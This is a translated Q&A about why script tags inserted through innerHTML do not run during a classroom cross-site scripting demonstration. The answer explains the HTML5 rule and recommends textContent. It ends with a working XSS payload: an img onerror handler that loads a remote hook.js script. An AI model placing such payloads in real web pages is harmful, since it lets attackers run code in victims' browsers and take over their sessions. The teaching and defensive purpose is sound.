javascript - 为什么我不能将此脚本动态写入页面？

Question

我试图向一些学生演示跨站点脚本，但讽刺的是我无法让它发挥作用!

以下两个脚本似乎什么也没做

document.body.innerHTML += `
<script src="/hook.js" defer async></s${''}cript>
`

document.body.innerHTML += `
<script>
var s = document.createElement('script')
s.setAttribute('src', '/hook.js')
document.body.appendChild(s)
</s${''}cript>
`

我可以在 devtools 中看到添加到 DOM 的节点，它看起来正确，但在我的网络选项卡中没有触发任何查询。如果我采用完全相同的代码并将其直接放入 html 中，则会触发查询。

我已经在最新的 chrome 和 firefox 中尝试过此操作

发生什么事了？这是某种抗 xss 保护吗？

Answer 1

好的，深入研究后我发现 this interesting factoid

It is not uncommon to see innerHTML used to insert text in a web page. This comes with a security risk.

    var name = "John";
    // assuming el is an HTML DOM element
    el.innerHTML = name; // harmless in this case

    // ...

name = "<script>alert('I am John in an annoying alert!')</script>";
el.innerHTML = name; // harmless in this case

Although this may look like a cross-site scripting attack, the result is harmless. HTML5 specifies that a <script> tag inserted via innerHTML should not execute.

However, there are ways to execute JavaScript without using elements, so there is still a security risk whenever you use innerHTML to set strings over which you have no control. For example:

var name = "<img src=x onerror=alert(1)>";
el.innerHTML = name; // shows the alert

For that reason, it is recommended you not use innerHTML when inserting plain text; instead, use node.textContent. This doesn't interpret the passed content as HTML, but instead inserts it as raw text.

所以听起来一切都按照预期运行(只是旧版浏览器的实现不正确)。您仍然可以触发 XSS，只是需要稍微聪明一些。

<img src="/doesntesist.png" onerror="var s = document.createElement(`script`);s.setAttribute(`src`, `http:///hook.js`); document.body.appendChild(s);" />